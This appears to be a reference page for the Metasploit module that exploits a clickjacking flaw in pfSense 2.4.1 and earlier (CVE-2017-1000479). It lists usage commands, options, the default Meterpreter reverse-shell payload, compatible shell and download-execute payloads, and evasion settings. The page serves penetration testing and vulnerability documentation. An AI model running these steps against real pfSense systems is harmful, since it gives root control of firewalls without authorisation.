Clickjacking Vulnerability In CSRF Error Page pfSense - Metasploit
This page contains detailed information about how to use the exploit/unix/http/pfsense_clickjacking metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Clickjacking Vulnerability In CSRF Error Page pfSense
Module: exploit/unix/http/pfsense_clickjacking
Source code: modules/exploits/unix/http/pfsense_clickjacking.rb
Disclosure date: 2017-11-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-1000479
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1. pfSense is a free and open source firewall and router. It was found that the pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin into interacting with a specially crafted webpage it is possible for an attacker to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user, this will result in a full compromise of the pfSense instance.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/http/pfsense_clickjacking
msf exploit(pfsense_clickjacking) > exploit
Knowledge Base
Vulnerable Application
This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
Vulnerable Setup
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possibly the WebGUI's TLS certificate must be trusted in the browser.
Verification Steps
use exploit/unix/http/pfsense_clickjackingset TARGETURI https://<ip WebGUI>exploit- Browse to the URL returned by MSF
- Click anywhere on the returned page
- Note that a new Meterpreter sessions was started.
Options
TARGETURI
The base path of the WebGUI. The default base path is https://192.168.1.1/
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Msfconsole Usage
Here is how the unix/http/pfsense_clickjacking exploit module looks in the msfconsole:
msf6 > use exploit/unix/http/pfsense_clickjacking
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/http/pfsense_clickjacking) > show info
Name: Clickjacking Vulnerability In CSRF Error Page pfSense
Module: exploit/unix/http/pfsense_clickjacking
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-11-21
Provided by:
Yorick Koster
Available targets:
Id Name
-- ----
0 pfSense <= 2.4.1
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI https://192.168.1.1 yes The base path to the web application
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Avoid: 1 characters
Description:
This module exploits a Clickjacking vulnerability in pfSense <=
2.4.1. pfSense is a free and open source firewall and router. It was
found that the pfSense WebGUI is vulnerable to Clickjacking. By
tricking an authenticated admin into interacting with a specially
crafted webpage it is possible for an attacker to execute arbitrary
code in the WebGUI. Since the WebGUI runs as the root user, this
will result in a full compromise of the pfSense instance.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-1000479
https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html
https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes
Module Options
This is a complete list of options available in the unix/http/pfsense_clickjacking exploit:
msf6 exploit(unix/http/pfsense_clickjacking) > show options
Module options (exploit/unix/http/pfsense_clickjacking):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI https://192.168.1.1 yes The base path to the web application
URIPATH no The URI to use for this exploit (default is random)
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 pfSense <= 2.4.1
Advanced Options
Here is a complete list of advanced options supported by the unix/http/pfsense_clickjacking exploit:
msf6 exploit(unix/http/pfsense_clickjacking) > show advanced
Module advanced options (exploit/unix/http/pfsense_clickjacking):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/http/pfsense_clickjacking module can exploit:
msf6 exploit(unix/http/pfsense_clickjacking) > show targets
Exploit targets:
Id Name
-- ----
0 pfSense <= 2.4.1
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/pfsense_clickjacking exploit:
msf6 exploit(unix/http/pfsense_clickjacking) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the unix/http/pfsense_clickjacking exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/http/pfsense_clickjacking) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Clickjacking Vulnerability In CSRF Error Page pfSense
Here is a relevant code snippet related to the "Clickjacking Vulnerability In CSRF Error Page pfSense" error message:
10:
11: def initialize(info = {})
12: super(
13: update_info(
14: info,
15: 'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
16: 'Description' => %q{
17: This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
18:
19: pfSense is a free and open source firewall and router. It was found that the
20: pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #9234 Merged Pull Request: Add exploit module for Clickjacking vulnerability in CSRF error page pfSense <= 2.4.1
References
- CVE-2017-1000479
- https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html
- https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes
See Also
Check also the following modules related to this module:
- exploit/unix/http/pfsense_diag_routes_webshell
- exploit/unix/http/pfsense_graph_injection_exec
- exploit/unix/http/pfsense_group_member_exec
- exploit/unix/http/pfsense_pfblockerng_webshell
- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/contentkeeperweb_mimencode
- exploit/unix/http/ctek_skyrouter
- exploit/unix/http/dell_kace_k1000_upload
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- exploit/unix/http/freepbx_callmenum
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/http/lifesize_room
- exploit/unix/http/pihole_blocklist_exec
- exploit/unix/http/pihole_dhcp_mac_exec
- exploit/unix/http/pihole_whitelist_exec
- exploit/unix/http/quest_kace_systems_management_rce
- exploit/unix/http/schneider_electric_net55xx_encoder
- exploit/unix/http/tnftp_savefile
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/http/zivif_ipcheck_exec
Related Nessus plugins:
Authors
Yorick Koster
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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